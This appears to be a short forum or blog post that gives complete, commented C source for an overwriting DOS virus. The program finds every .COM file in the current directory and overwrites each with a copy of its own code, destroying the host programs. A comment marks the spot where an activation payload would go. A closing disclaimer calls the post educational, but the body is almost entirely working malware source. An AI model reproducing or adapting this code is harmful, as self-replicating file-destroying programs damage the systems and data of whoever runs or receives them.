overwriting virus programmed in C Language

#include <stdio.h>
  #include <dos.h>
    #include <dir.h>
     #include<conio.h>

    FILE *Virus,*Host;
    int x,y,done;
    char buff[256];
    struct ffblk ffblk;

    main()
    {
     done = findfirst("*.COM",&ffblk,0);   /* Find a .COM file */
       while (!done)               /* Loop for all COM's in DIR*/
        {
        printf("Infecting  %s\n", ffblk.ff_name);    /* Inform user */
        Virus=fopen(_argv[0],"rb");          /* Open infected file  */
        Host=fopen(ffblk.ff_name,"rb+");     /* Open new host file  */

        x=9504;                               /* Virus size - must   */
                                              /* be correct for the  */
                                              /* compiler it is made */
                                              /* on, otherwise the   */
                                              /* entire virus may not*/
                                              /* be copied!!         */
        while (x>256)                         /* OVERWRITE new Host  */
            {                                 /* Read/Write 256 byte */
            fread(buff,256,1,Virus);          /* chunks until bytes  */
            fwrite(buff,256,1,Host);          /* left < 256          */
            x-=256;
            }
        fread(buff,x,1,Virus);                /* Finish off copy     */
        fwrite(buff,x,1,Host);
        fcloseall();                          /* Close both files and*/
        done = findnext(&ffblk);              /* go for another one. */
        }
                                              /* Activation would go */
                                              /* here                */
      return (0);                             /* Terminate           */
    }
note:
*friends this program is only information and knowledge   purpose.
any issue not Responsible admin.